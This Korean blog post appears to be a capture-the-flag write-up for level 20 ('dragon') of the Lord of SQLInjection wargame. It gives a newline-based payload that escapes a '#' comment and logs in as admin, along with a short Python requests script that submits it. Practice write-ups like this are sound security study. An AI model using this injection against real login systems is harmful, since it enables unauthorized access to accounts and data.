본문으로 바로가기

LOS 20(dragon)

category LOS-write up 2021. 1. 5. 21:05

문제

문제 분석

pw에 "prob" , "_" , "." 를 피해 입력해야하며 id에 값이 들어있으면 Hello {id} 값이 출력되고 이 id값에 admin 값이 들어가면 문제가 풀린다.

 

이쿼리에선 #주석으로 인해 입력하는 모든 문자가 주석 처리되는데 이를 우회하는게 핵심이다.  

 

문제 풀이

#주석은 %0a로 줄바꿈을 하면 이후 쿼리는 주석처리가 되지 않기에 이를 활용한다.

 

문제 정답

URL?pw=\n and pw='' or id='admin'#

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}

#url은 %0a 로인식

data['pw']="\n and pw='' or id='admin'#"   
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

 

'LOS-write up' 카테고리의 다른 글

LOS 22(dark_eyes)  (0) 2021.01.06
LOS 21(iron_golem)  (0) 2021.01.06
LOS 19(xavis)  (0) 2021.01.05
LOS 18(nightmare)  (0) 2021.01.05
LOS 17(zombie_assassin)  (0) 2021.01.05